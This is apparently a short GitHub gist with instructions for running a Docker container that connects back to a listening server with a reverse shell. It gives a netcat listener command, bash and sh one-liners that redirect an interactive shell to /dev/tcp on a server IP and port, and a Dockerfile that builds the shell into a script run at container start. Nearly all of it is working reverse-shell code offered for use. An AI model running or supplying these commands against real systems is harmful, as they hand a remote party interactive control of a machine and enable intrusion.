Skip to content

Instantly share code, notes, and snippets.

@ayeks
Last active May 1, 2020 07:55
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ayeks/23eaeab3cf40262ec8cc471119c261f6 to your computer and use it in GitHub Desktop.
Save ayeks/23eaeab3cf40262ec8cc471119c261f6 to your computer and use it in GitHub Desktop.
reverse_shell_container.md

Run a container which connects back with a reverse shell

Server

Open up the port where the container will connect to.

nc -lp 6666

Container

Execute the following command in the container to open the connection to the server port with a bash.

bash -i >& /dev/tcp/server_ip/6666 0>&1

When your local server has the ip 192.168.178.26 the snippet looks like this:

/bin/sh -i > /dev/tcp/192.168.178.26/6666 2>&1 0>&1

Dockerfile

FROM debian:latest

RUN echo "bash -i >& /dev/tcp/\${IP}/\${PORT} 0>&1" > reverse_shell.sh

CMD ["bash", "./reverse_shell.sh"]

Execute reverse shell container with: docker run --rm -it -e IP=192.168.178.26 -e PORT=6666 reverse_shell

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment